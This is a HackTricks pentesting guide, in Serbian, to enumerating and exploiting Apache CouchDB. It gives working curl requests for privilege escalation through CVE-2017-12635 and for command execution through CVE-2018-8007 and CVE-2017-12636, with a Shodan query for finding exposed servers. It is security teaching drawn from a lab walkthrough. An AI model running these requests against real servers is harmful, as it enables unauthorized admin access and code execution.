hacktricks/src/network-services-pentesting/5984-pentesting-couchdb.md

221 lines
16 KiB
Markdown

# 5984,6984 - Pentesting CouchDB
{{#include ../banners/hacktricks-training.md}}
## **Osnovne informacije**
**CouchDB** je svestrana i moćna **baza podataka orijentisana na dokumente** koja organizuje podatke koristeći strukturu **ključ-vrednost** unutar svakog **dokumenta**. Polja unutar dokumenta mogu biti predstavljena kao **ključ/vrednost parovi, liste ili mape**, pružajući fleksibilnost u skladištenju i preuzimanju podataka.
Svaki **dokument** pohranjen u CouchDB dobija **jedinstveni identifikator** (`_id`) na nivou dokumenta. Pored toga, svako izmenjeno i sačuvano stanje u bazi podataka dobija **broj revizije** (`_rev`). Ovaj broj revizije omogućava efikasno **praćenje i upravljanje promenama**, olakšavajući lako preuzimanje i sinhronizaciju podataka unutar baze podataka.
**Podrazumevani port:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Automatska Enumeracija**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Ručna Enumeracija
### Baner
```
curl http://IP:5984/
```
Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati kao jedan od sledećih:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
> [!NOTE]
> Imajte na umu da ako pristupate root-u couchdb i dobijete `401 Unauthorized` sa nečim poput: `{"error":"unauthorized","reason":"Authentication required."}` **nećete moći da pristupite** baneru ili bilo kojem drugom kraju.
### Info Enumeration
Ovo su krajevi gde možete pristupiti sa **GET** zahtevom i izvući neke zanimljive informacije. Možete pronaći [**više krajeva i detaljnije opise u couchdb dokumentaciji**](https://docs.couchdb.org/en/latest/api/index.html).
- **`/_active_tasks`** Lista aktivnih zadataka, uključujući tip zadatka, ime, status i ID procesa.
- **`/_all_dbs`** Vraća listu svih baza podataka u CouchDB instanci.
- **`/_cluster_setup`** Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera.
- **`/_db_updates`** Vraća listu svih događaja u bazi podataka u CouchDB instanci. Postojanje baze podataka `_global_changes` je neophodno za korišćenje ovog kraja.
- **`/_membership`** Prikazuje čvorove koji su deo klastera kao `cluster_nodes`. Polje `all_nodes` prikazuje sve čvorove o kojima ovaj čvor zna, uključujući one koji su deo klastera.
- **`/_scheduler/jobs`** Lista zadataka replikacije. Svaki opis zadatka uključuje informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i nekoliko drugih stvari.
- **`/_scheduler/docs`** Lista stanja replikacionih dokumenata. Uključuje informacije o svim dokumentima, čak i u `completed` i `failed` stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** Krajnja tačka `/_node/{node-name}` može se koristiti za potvrdu imena Erlang čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate `/_node/_local` da biste dobili ove informacije.
- **`/_node/{node-name}/_stats`** Resurs `_stats` vraća JSON objekat koji sadrži statistiku za pokrenuti server. Literalni string `_local` služi kao alias za lokalno ime čvora, tako da se za sve URL-ove sa statistikama, `{node-name}` može zameniti sa `_local`, da bi se interagovalo sa statistikama lokalnog čvora.
- **`/_node/{node-name}/_system`** Resurs \_system vraća JSON objekat koji sadrži razne sistemske statistike za pokrenuti server\_.\_ Možete koristiti \_\_`_local` kao {node-name} da dobijete informacije o trenutnom čvoru.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Potvrđuje da je server aktivan, radi i spreman da odgovori na zahteve. Ako je [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` ili `nolb`, krajnja tačka će vratiti 404 odgovor.
- **`/_uuids`** Zahteva jedan ili više Univerzalno Jedinstvenih Identifikatora (UUID) iz CouchDB instance.
- **`/_reshard`** Vraća broj završenih, neuspešnih, aktivnih, zaustavljenih i ukupnih zadataka zajedno sa stanjem reshardinga na klasteru.
Više zanimljivih informacija može se izvući kao što je objašnjeno ovde: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
Ako taj zahtev **odgovori sa 401 neovlašćen**, onda su vam potrebne **validne akreditive** da pristupite bazi podataka:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Da biste pronašli važeće kredencijale, mogli biste **pokušati** [**bruteforce the service**](../generic-hacking/brute-force.md#couchdb).
Ovo je **primer** couchdb **odgovora** kada imate **dovoljno privilegija** da listate baze podataka (To je samo lista baza):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informacije o bazi podataka
Možete dobiti neke informacije o bazi podataka (kao što su broj fajlova i veličine) pristupajući imenu baze podataka:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista dokumenata**
Nabrojte svaki unos unutar baze podataka
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Pročitaj dokument**
Pročitaj sadržaj dokumenta unutar baze podataka:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, mogli biste **napraviti admin korisnika** sa kredencijalima `hacktricks:hacktricks` sa sledećim zahtevom:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Više informacija o ovoj ranjivosti ovde**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Pregled sigurnosti Erlang kolačića**
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
U dokumentaciji CouchDB, posebno u odeljku koji se odnosi na postavljanje klastera ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), raspravlja se o korišćenju portova od strane CouchDB u klasterskom režimu. Pominje se da se, kao u samostalnom režimu, koristi port `5984`. Pored toga, port `5986` je za lokalne API-jeve čvora, a što je važno, Erlang zahteva TCP port `4369` za Erlang Port Mapper Daemon (EPMD), koji olakšava komunikaciju između čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu gde je svaki čvor povezan sa svim ostalim čvorovima.
Ističe se važna sigurnosna preporuka u vezi sa portom `4369`. Ako je ovaj port dostupan preko Interneta ili bilo koje nepouzdane mreže, sigurnost sistema se u velikoj meri oslanja na jedinstveni identifikator poznat kao "kolačić." Ovaj kolačić deluje kao zaštita. Na primer, u datoj listi procesa, može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za Remote Code Execution (RCE) u kontekstu Erlang sistema, dostupna je posvećena sekcija za dalju literaturu. Ona detaljno opisuje metodologije za korišćenje Erlang kolačića na neovlašćen način kako bi se postigla kontrola nad sistemima. Možete [**istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
### **Iskorišćavanje CVE-2018-8007 kroz modifikaciju local.ini**
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, istražena je, otkrivajući da iskorišćavanje zahteva prava za pisanje na `local.ini` datoteku. Iako nije direktno primenljivo na inicijalni ciljni sistem zbog bezbednosnih ograničenja, izvršene su modifikacije kako bi se omogućio pristup za pisanje na `local.ini` datoteku u svrhu istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.
Prvo, okruženje se priprema osiguravajući da je `local.ini` datoteka zapisiva, što se proverava listanjem dozvola:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Da bi se iskoristila ranjivost, izvršava se curl komanda, koja cilja `cors/origins` konfiguraciju u `local.ini`. Ovo ubacuje novi izvor zajedno sa dodatnim komandama pod `[os_daemons]` sekcijom, sa ciljem izvršavanja proizvoljnog koda:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Naknadna verifikacija pokazuje injektovanu konfiguraciju u `local.ini`, upoređujući je sa rezervnom kopijom kako bi se istakle promene:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
U početku, očekivana datoteka (`/tmp/0xdf`) ne postoji, što ukazuje na to da injektovana komanda još nije izvršena. Dalja istraga otkriva da su procesi povezani sa CouchDB u radu, uključujući jedan koji bi potencijalno mogao izvršiti injektovanu komandu:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Prekidom identifikovanog CouchDB procesa i omogućavanjem sistemu da ga automatski ponovo pokrene, aktivira se izvršenje injektovane komande, što je potvrđeno postojanjem prethodno nedostajuće datoteke:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Ova eksploracija potvrđuje izvodljivost eksploatacije CVE-2018-8007 pod specifičnim uslovima, posebno zahtevom za mogućnost pisanja u `local.ini` datoteku. Pruženi primeri koda i proceduralni koraci nude jasan vodič za replikaciju eksploata u kontrolisanom okruženju.
Za više detalja o CVE-2018-8007, pogledajte savetovanje od mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini**
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ranljivost poznata kao CVE-2017-12636 je istražena, koja omogućava izvršavanje koda putem CouchDB procesa, iako specifične konfiguracije mogu sprečiti njenu eksploataciju. I pored brojnih dokaza o konceptu (POC) dostupnih na mreži, potrebne su prilagodbe za eksploataciju ranjivosti na CouchDB verziji 2, koja se razlikuje od uobičajeno ciljanih verzija 1.x. Početni koraci uključuju verifikaciju verzije CouchDB i potvrđivanje odsustva očekivane putanje za upitne servere:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Da bi se prilagodio CouchDB verziji 2.0, koristi se novi put:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Pokušaji dodavanja i pozivanja novog servera za upite naišli su na greške vezane za dozvole, što je naznačeno sledećim izlazom:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Dalja istraga je otkrila probleme sa dozvolama za `local.ini` datoteku, koja nije mogla da se piše. Modifikovanjem dozvola datoteke sa root ili homer pristupom, postalo je moguće nastaviti:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Naknadni pokušaji dodavanja servera za upite su uspeli, što je potvrđeno odsustvom poruka o grešci u odgovoru. Uspješna modifikacija `local.ini` datoteke je potvrđena kroz poređenje datoteka:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Proces se nastavio kreiranjem baze podataka i dokumenta, nakon čega je usledio pokušaj izvršavanja koda putem prilagođenog prikaza mapiranja na novonadded query server:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
A [**rezime**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) sa alternativnim payload-om pruža dodatne uvide u eksploataciju CVE-2017-12636 pod specifičnim uslovima. **Korisni resursi** za eksploataciju ove ranjivosti uključuju:
- [POC exploit kod](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Unos u Exploit Database](https://www.exploit-db.com/exploits/44913/)
## Shodan
- `port:5984 couchdb`
## Reference
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{{#include ../banners/hacktricks-training.md}}